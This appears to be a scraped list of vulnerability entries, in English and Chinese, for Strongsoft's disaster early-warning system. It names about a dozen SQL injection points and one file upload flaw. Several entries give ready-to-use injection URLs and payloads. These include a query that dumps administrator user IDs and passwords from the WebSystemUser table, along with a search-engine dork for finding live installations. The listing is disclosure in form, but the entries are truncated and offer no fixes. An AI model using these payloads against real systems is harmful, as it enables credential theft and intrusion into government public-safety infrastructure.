Strongsoft AjaxDeleteMsgInfo. ashx parameters msgid a SQL injection vulnerability

No description provided by source...

Strongsoft FloodDisastersQueryContent. aspx parameters DirTypeDetailId SQL injection vulnerability

No description provided by source...

Strongsoft AjaxMapCustomAction. ashx parameter param SQL injection vulnerability

No description provided by source...

Strongsoft /SystemManage/AjaxHandle/AjaxVertifyUserID. ashx parameters uid SQL injection vulnerability

No description provided by source...

StrongSoft灾害预警系统SelectContacts.aspx 等文件11处注入

0x01 框架概述 福建四创软件有限公司成立于2001年1月19日，位于福建省福州市海西高新创业大厦9、10楼（广贤路与乌龙江大道交叉口） ，是一家致力于中国防灾减灾事业的技术型企业。目前专注于为政府提供防灾减灾应急指挥系统解决方案，为各级企业提供防灾减灾信息与应用租赁服务，为社会公众提供防灾减灾信息发布与预警服务。 官方主页： http://www.strongsoft.net/DMenu.aspx 谷歌搜索： intitle:预警 系统 技术支持:福建四创 0x02 漏洞细节 11注入点： 1、/BaseCourse/RushTeamCollect.aspx?adcd=1&key=1...

StrongSoft灾害预警系统 warn/AjaxHandle/AjaxOuterWarnForMerger.ashx DeptID参数SQL注入漏洞

注入链接：/warn/AjaxHandle/AjaxOuterWarnForMerger.ashx 注入参数：DeptID 【获取数据库版本】 /warn/AjaxHandle/AjaxOuterWarnForMerger.ashx?action=GetCheckIdByPid&DeptID=1'+AND+2709=SELECT+@@version+AND+'EcwM'='EcwM 【获取当前数据库】...

StrongSoft灾害预警系统ReportingDetail.aspx ID参数SQL注入漏洞

注入链接：/Disaster/Reporting/ReportingDetail.aspx 注入参数：ID 【获取数据库版本】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND 3=CHAR@@version -- 【管理员账号密码】 /Disaster/Reporting/ReportingDetail.aspx?ID=1' AND+2709=select+top+1+UserID%2b'---'%2bUserPwd+from+strongmain.dbo.WebSystemUser--...

StrongSoft灾害预警系统strFieldName参数SQL注入漏洞

注入链接：/Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx 注入参数：strFieldName 【获取数据库版本】 /Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx?strFieldValue=1&strSelectFieldCollection=1&tableName=sysobjects&strFieldName=convertint,@@version 【管理员账号密码】...

StrongSoft灾害预警系统ContactUpdate.aspx ContactID参数SQL注入漏洞

注入链接：/Duty/MailList/ContactUpdate.aspx 注入参数：ContactID Payload：ContactID=-1+and+1=@@version...

StrongSoft灾害预警系统 /public/DataAccess/GeneralModule/GetFeatureInfo.ashx SQL注入漏洞

注入链接：/public/DataAccess/GeneralModule/GetFeatureInfo.ashx 注入参数：ID 【获取数据库版本】 SqlKey=MapSGetReseFeatureInfoZWP&STCD=rs048' and 1=convertint,@@version and 'e'='e&dateForAjax=659 【管理员账号密码】...

StrongSoft灾害预警系统InfoDetail.aspx ADCD参数SQL注入漏洞

No description provided by source...

Strongsoft /Plan/FloodPlan/FloodPlanFileUpdate.aspx 文件上传漏洞

No description provided by source...